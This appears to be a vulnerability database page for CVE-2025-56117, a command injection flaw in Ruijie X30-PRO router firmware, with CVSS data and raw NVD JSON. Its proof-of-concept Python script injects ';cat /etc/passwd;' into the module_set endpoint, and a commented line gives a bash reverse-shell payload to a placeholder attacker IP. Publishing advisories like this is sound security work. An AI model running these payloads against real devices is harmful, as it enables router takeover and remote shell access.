Security Vulnerability Report
中文
CVE-2025-56117 CVSS 8.8 HIGH

CVE-2025-56117

Published: 2025-12-11 19:15:57
Last Modified: 2026-01-07 20:34:04

Description

OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-est310_firmware:3.0\(1\)b11p211:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est310:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X30-PRO X30-PRO-V1_09241521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56117 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO router with vulnerable module_set endpoint # Reference: /usr/local/lua/dev_sta/nbr_cwmp.lua target_url = "http://<target_ip>/cgi-bin/module_set" # Malicious payload to execute arbitrary command # Inject: cat /etc/passwd to verify command execution payload = { "module_set": ";cat /etc/passwd;" } try: response = requests.post(target_url, data=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Example: Reverse shell payload # payload = {"module_set": ";bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1;"}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56117", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.153", "lastModified": "2026-01-07T20:34:04.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X30-PRO X30-PRO-V1_09241521 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:x30_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "467678E1-6A87-4C42-98CD-CB970BCB53DF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:x30_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "94BA1D95-3F5C-4888-AF37-287F843CA80D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est310_firmware:3.0\\(1\\)b11p211:*:*:*:*:*:*:*", "matchCriteriaId": "5E9A9F0F-8AC8-4DE9-B6DF-C0B31EBA8B36"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est310:-:*:*:*:*:*:*:*", "matchCriteriaId": "B01DB7A8-7CBF-45E6-8C2A-0B87C98821CD"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EtGIxwWujwxBvQhL9wgnUIwBkg-mndJJX07Igr6d0cic-g?e=4KJbWY", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/Ed2lBCN9vhdPnEs7WKvpfEQBp7czazgO9PYxS2TFSHx7TQ?e=HZZaGq", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56117.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}